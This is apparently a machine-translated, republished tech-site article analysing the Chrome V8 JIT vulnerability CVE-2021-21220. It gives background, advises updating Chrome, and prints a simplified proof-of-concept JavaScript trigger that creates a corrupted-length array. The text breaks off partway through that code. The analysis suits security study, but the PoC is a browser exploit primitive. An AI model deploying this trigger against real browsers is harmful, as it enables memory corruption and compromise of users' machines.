Shulou(Shulou.com)05/31 Report--

How to analyze Chrome V8 JIT vulnerability CVE-2021-21220, many novices are not very clear about this, in order to help you solve this problem, the following small series will explain in detail for everyone, people who have this need can learn, I hope you can gain something.

preface

CVE-2021-21220 is a half-day v8 engine JIT module vulnerability exposed on github on April 13. Since the latest stable version (89.0.4389.114) and beta version (90.0.4430.70) of Chrome at the time did not integrate the fixed V8 version, the vulnerability could affect the latest version of Chrome and, of course, other widely used browsers based on V8.

The latest version of Chrome has fixed this vulnerability, and we recommend that you update Chrome as soon as possible.

vulnerability analysis

After getting the PoC, first carry out simple analysis and simplification, and facilitate debugging analysis afterwards.

var _arr = new Uint32Array([2**31]);function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;x = Math.abs(x);x -= 2147483647;x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;var arr = new Array(x);arr.shift();var cor = [1.1, 1.2, 1.3];return [arr, cor];}for(var i=0;i

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